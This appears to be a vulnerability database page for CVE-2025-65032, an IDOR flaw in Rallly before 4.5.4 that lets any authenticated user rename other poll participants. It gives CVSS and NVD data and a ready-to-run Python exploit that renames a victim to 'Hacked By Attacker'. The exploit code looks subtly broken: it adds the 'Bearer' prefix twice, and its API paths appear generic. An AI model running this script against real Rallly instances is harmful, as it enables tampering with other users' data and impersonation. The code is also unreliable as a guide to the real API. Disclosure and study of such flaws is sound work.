Security Vulnerability Report
中文
CVE-2025-65032 CVSS 6.5 MEDIUM

CVE-2025-65032

Published: 2025-11-19 18:15:51
Last Modified: 2025-11-24 19:33:14

Description

Rallly is an open-source scheduling and collaboration tool. Prior to version 4.5.4, an Insecure Direct Object Reference (IDOR) vulnerability allows any authenticated user to change the display names of other participants in polls without being an admin or the poll owner. By manipulating the participantId parameter in a rename request, an attacker can modify another user’s name, violating data integrity and potentially causing confusion or impersonation attacks. This issue has been patched in version 4.5.4.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:rallly:rallly:*:*:*:*:*:*:*:* - VULNERABLE
Rallly < 4.5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-65032 IDOR PoC - Rename other users' display names # Target: Rallly < 4.5.4 BASE_URL = "https://your-rallly-instance.com" # Step 1: Login to get authentication token def login(username, password): session = requests.Session() login_data = {"email": username, "password": password} response = session.post(f"{BASE_URL}/api/auth/login", json=login_data) return session, response.json().get('token') # Step 2: Get poll ID and participants list def get_poll_info(session, poll_id): headers = {"Authorization": f"Bearer {session.headers.get('Authorization')}"} response = session.get(f"{BASE_URL}/api/polls/{poll_id}", headers=headers) return response.json() # Step 3: IDOR - Modify other user's display name def idor_rename(session, poll_id, target_participant_id, new_name): headers = {"Authorization": f"Bearer {session.headers.get('Authorization')}"} rename_data = { "participantId": target_participant_id, # IDOR: Can be any participant ID "name": new_name } response = session.patch( f"{BASE_URL}/api/polls/{poll_id}/participants/{target_participant_id}", json=rename_data, headers=headers ) return response # Main execution session, token = login("[email protected]", "password123") session.headers.update({"Authorization": f"Bearer {token}"}) poll_id = "target-poll-id" target_participant_id = "victim-participant-id" # IDOR vulnerability new_display_name = "Hacked By Attacker" response = idor_rename(session, poll_id, target_participant_id, new_display_name) print(f"Status: {response.status_code}") print(f"Response: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65032", "sourceIdentifier": "[email protected]", "published": "2025-11-19T18:15:50.930", "lastModified": "2025-11-24T19:33:13.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rallly is an open-source scheduling and collaboration tool. Prior to version 4.5.4, an Insecure Direct Object Reference (IDOR) vulnerability allows any authenticated user to change the display names of other participants in polls without being an admin or the poll owner. By manipulating the participantId parameter in a rename request, an attacker can modify another user’s name, violating data integrity and potentially causing confusion or impersonation attacks. This issue has been patched in version 4.5.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rallly:rallly:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.4", "matchCriteriaId": "05349176-CA4D-4360-A7E1-0EA2D8C24E7E"}]}]}], "references": [{"url": "https://github.com/lukevella/rallly/releases/tag/v4.5.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/lukevella/rallly/security/advisories/GHSA-q9m7-chfx-43xw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/lukevella/rallly/security/advisories/GHSA-q9m7-chfx-43xw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}